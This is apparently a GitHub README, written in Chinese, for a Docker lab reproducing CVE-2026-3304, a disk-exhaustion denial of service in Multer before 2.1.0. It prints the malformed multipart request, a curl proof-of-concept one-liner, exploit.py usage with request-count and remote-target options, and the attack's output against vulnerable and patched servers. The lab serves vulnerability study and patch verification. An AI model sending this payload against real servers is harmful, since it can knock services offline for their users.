Mkway/CVE-2026-3304

GitHub: Mkway/CVE-2026-3304

CVE-2026-3304完整复现环境,演示Multer中间件因临时文件清理不完整导致的拒绝服务漏洞。

Stars: 0 | Forks: 0

# CVE-2026-3304 实验环境 ## 漏洞概述 | 字段 | 详情 | |-------|---------| | CVE | CVE-2026-3304 | | 目标 | Multer < 2.1.0 (Node.js multipart/form-data 中间件) | | 类型 | DoS - 孤立文件 (临时文件清理不完整) | | CWE | CWE-459: 清理不完整 | | CVSS 4.0 | 8.7 高危 | | 已修复版本 | Multer 2.1.0 | | 分析 | NVD API + GitHub Advisory + Claude AI | ## 漏洞原理 一个格式错误的 multipart 请求,如果其文件部分缺少 `name` 属性,会导致 Multer 在磁盘上创建一个临时文件但永远不会清理它。重复的请求会耗尽磁盘空间,从而导致拒绝服务。 ``` Attacker Server (Multer < 2.1.0) | | |-- malformed multipart request ---->| | [Part 1: name="file" OK] |-- creates /tmp/uploads/abc123 (temp file) | [Part 2: name missing] | | |-- async fileFilter invoked (setImmediate) | |-- missing name -> returns 500 error |<-- HTTP 500 Internal Server Error -| | |-- /tmp/uploads/abc123 still on disk! (not cleaned up) | repeat -> disk exhaustion (DoS) ``` **`lib/make-middleware.js` 中的根本原因** — 修复版本 (2.1.0) 添加的代码: ``` if (errorOccured) { appender.removePlaceholder(placeholder) return fileStream.resume() // clean up temp file } ``` 使用 `setImmediate` 的异步 `fileFilter` 会延迟执行,因此当检测到错误时,文件流已经打开,而在易受攻击的版本中永远不会执行到清理分支。 ## 格式错误的 POST 请求 该攻击发送一个 `multipart/form-data` POST 请求,其中第二部分缺少必需的 `name` 属性。 ### 正常请求 (安全) ``` POST /upload HTTP/1.1 Content-Type: multipart/form-data; boundary=----Boundary ------Boundary Content-Disposition: form-data; name="file"; filename="photo.jpg" Content-Type: application/octet-stream ------Boundary-- ``` ### 恶意请求 (触发 CVE-2026-3304) ``` POST /upload HTTP/1.1 Content-Type: multipart/form-data; boundary=----Boundary ------Boundary Content-Disposition: form-data; name="file"; filename="legit.bin" ← Part 1: valid, temp file created here Content-Type: application/octet-stream AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ------Boundary Content-Disposition: form-data; filename="malformed.bin" ← Part 2: name= missing! Content-Type: application/octet-stream x ------Boundary-- ``` **服务器端发生的情况:** ``` 1. Part 1 arrives → Multer opens /tmp/uploads/ and starts writing 2. async fileFilter called with setImmediate → callback deferred 3. Part 2 arrives → Multer detects missing name → sets errorOccured = true 4. setImmediate fires → fileFilter callback runs 5. [BUG] errorOccured flag is NOT checked → proceeds to storage._handleFile 6. Temp file written to disk 7. Server returns HTTP 500 8. /tmp/uploads/ stays on disk forever ← orphaned file ``` **服务器响应:** ``` HTTP/1.1 500 Internal Server Error MulterError: Field name missing at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...) ``` ### curl 单行命令 ``` printf -- '--TestBound\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n--TestBound\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n--TestBound--\r\n' \ | curl -s -X POST http://localhost:3000/upload \ -H "Content-Type: multipart/form-data; boundary=TestBound" \ --data-binary @- ``` ## 环境设置 ### 需求 - Docker, Docker Compose - Python 3 + requests (`pip install requests`) ### 启动 ``` # 启动易受攻击 (端口 3000) + 已修补 (端口 3001) 服务器 docker compose up -d --build # 验证两者是否都在运行 curl http://localhost:3000/status curl http://localhost:3001/status ``` ## 使用方法 ### 步骤 1 — 单个格式错误请求 (快速测试) ``` bash exploit/curl_poc.sh ``` ### 步骤 2 — DoS 利用 ``` # 默认 (50 个请求) python3 exploit/exploit.py # Heavy attack (500 个请求,每个负载 5 KB) python3 exploit/exploit.py --count 500 --size 5120 # 针对使用自签名证书的 HTTPS 目标 python3 exploit/exploit.py --target https://target.example.com --no-verify # 与已修补版本进行对比 python3 exploit/exploit.py --target http://localhost:3001 --count 50 ``` ### 步骤 3 — 实时监控 (单独终端) ``` bash exploit/monitor.sh ``` ### 步骤 4 — 重置上传目录 ``` curl -X DELETE http://localhost:3000/reset ``` ## 预期结果 | 目标 | 结果 | |--------|--------| | 易受攻击服务器 (3000) | 每个请求创建一个孤立文件,磁盘持续增长 | | 已修补服务器 (3001) | 无论请求次数多少,0 个孤立文件 | ## 验证测试结果 ### 利用输出 (易受攻击服务器, 50 个请求 × 2 KB) ``` [*] CVE-2026-3304 Multer Orphaned File DoS Exploit [*] Target : http://localhost:3000/upload [*] Requests: 50 | Delay: 0.0s | Payload: 2048 bytes ------------------------------------------------------------ [*] Before attack — orphaned files: 0 [ 10/50] 500 response: True | orphaned files: 10 | disk: 20.00 KB [ 20/50] 500 response: True | orphaned files: 20 | disk: 40.00 KB [ 30/50] 500 response: True | orphaned files: 30 | disk: 60.00 KB [ 40/50] 500 response: True | orphaned files: 40 | disk: 80.00 KB [ 50/50] 500 response: True | orphaned files: 50 | disk: 100.00 KB ============================================================ [Result] Total requests: 50 | Triggered: 50 [Result] Orphaned files: 0 -> 50 [Result] Disk wasted: 100.00 KB [!] VULNERABLE: 50 temporary files left on disk, never cleaned up [!] Repeated attacks will exhaust disk space (DoS) ``` ### 容器内验证的实际磁盘使用情况 ``` $ docker exec cve-2026-3304-target df -h /tmp/uploads Before attack: Filesystem Size Used Available Use% Mounted on tmpfs 50.0M 0 50.0M 0% /tmp/uploads After 200 requests × 5 KB: Filesystem Size Used Available Use% Mounted on tmpfs 50.0M 1.6M 48.4M 3% /tmp/uploads $ docker exec cve-2026-3304-target du -sh /tmp/uploads 1.6M /tmp/uploads $ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l 200 ``` 每个孤立文件会永久保留在磁盘上,直到服务器重启或手动清理。 容器的 tmpfs 上限为 **50 MB** — 达到此限制会导致服务器完全无法处理新的上传。 ### 不重置运行两次 — 文件累积 ``` Run 1: orphaned files 0 -> 50 (100 KB) Run 2: orphaned files 50 -> 100 (200 KB) ↑ files from run 1 still present — never cleaned up ``` ### 已修补服务器 (Multer 2.1.0) — 相同攻击,零影响 ``` [ 10/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB [ 20/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB [ 30/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB [ 40/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB [ 50/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB [*] No orphaned files — patched version cleans up correctly ``` ## 参考资料 - [GitHub Advisory GHSA-xf7r-hgr6-v32p](https://github.com/expressjs/multer/security/advisories/GHSA-xf7r-hgr6-v32p) - [修复提交 739919097d](https://github.com/expressjs/multer/commit/739919097dde3921ec31b930e4b9025036fa74ee) - [NVD CVE-2026-3304](https://www.cve.org/CVERecord?id=CVE-2026-3304) ## 清理环境 ``` docker compose down ```
标签:CISA项目, CVE-2026-3304, CWE-459, DoS, Express, GNU通用公共许可证, MITM代理, Multer, Multipart/form-data, Node.js, Web安全, 中间件安全, 临时文件, 应用安全, 拒绝服务攻击, 清理不完整, 漏洞分析, 漏洞复现, 磁盘耗尽, 网络安全, 蓝队分析, 请求拦截, 资源耗尽, 路径探测, 逆向工具, 隐私保护, 靶场环境